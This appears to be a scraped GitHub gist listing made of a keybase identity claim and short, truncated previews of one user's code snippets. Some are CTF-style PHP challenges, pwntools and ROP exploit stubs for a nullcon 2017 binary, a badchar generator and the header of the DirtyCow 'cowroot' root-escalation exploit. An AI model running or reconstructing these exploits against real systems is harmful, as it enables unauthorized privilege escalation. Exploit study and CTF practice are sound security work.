I hereby claim:
- I am rverton on github.
- I am roob (https://keybase.io/roob) on keybase.
- I have a public key ASB7AIRlWYr7z6mxQzopO21ynOCT3d1UjcsegZtkAcnNtwo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
# Install chromedriver from https://sites.google.com/a/chromium.org/chromedriver/downloads | |
import os | |
from optparse import OptionParser | |
from selenium import webdriver | |
from selenium.webdriver.chrome.options import Options | |
CHROME_PATH = '/usr/bin/google-chrome' |
<?php | |
header('Access-Control-Allow-Origin: *'); | |
$remote = $_SERVER['REMOTE_ADDR']; | |
if ($remote === '127.0.0.1' || $remote === '::1') { | |
$flag = fopen("/flag", "r") or die("Unable to open file!"); | |
echo fread($flag,filesize("/flag")); | |
fclose($flag); | |
} else { | |
echo 'what do you expect to see here?'; |
<?php | |
session_start(); | |
if ($_COOKIE['tar'] !== 'super-secret-cookie-you-never-know') { | |
echo "Try better cookie, bro!"; | |
die(); | |
} | |
if (isset($_POST['url']) && isset($_POST['challenge'])) { | |
$url = $_POST['url']; |
#!/usr/bin/python | |
# exploit for level1.bin (nullcon 2017) | |
from pwn import * | |
def add_book(p): | |
p.sendline('1') | |
p.recvuntil('Enter book name: ') | |
p.sendline('a') |
import struct | |
def p(value): | |
return struct.pack('<L', value); | |
writeable_buffer = 0x080ca004 | |
open_addr = 0x80515f0 | |
read_addr = 0x80516a0 | |
write_addr = 0x8051700 |
""" | |
This script generates a bytearray for badchar detection | |
and is similar to mona.py's bytearray function. | |
Usage: | |
Create bytearray.txt and bytearray.bin (0-255) | |
$ python bytearray.py | |
Create bytearray.txt and bytearray.bin and exclude chars |
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten |
from io import BytesIO | |
def test_file_upload(client): | |
data = { | |
'field': 'value', | |
'file': (BytesIO(b'FILE CONTENT'), 'test.csv') | |
} | |
rv = client.post('/upload', buffered=True, |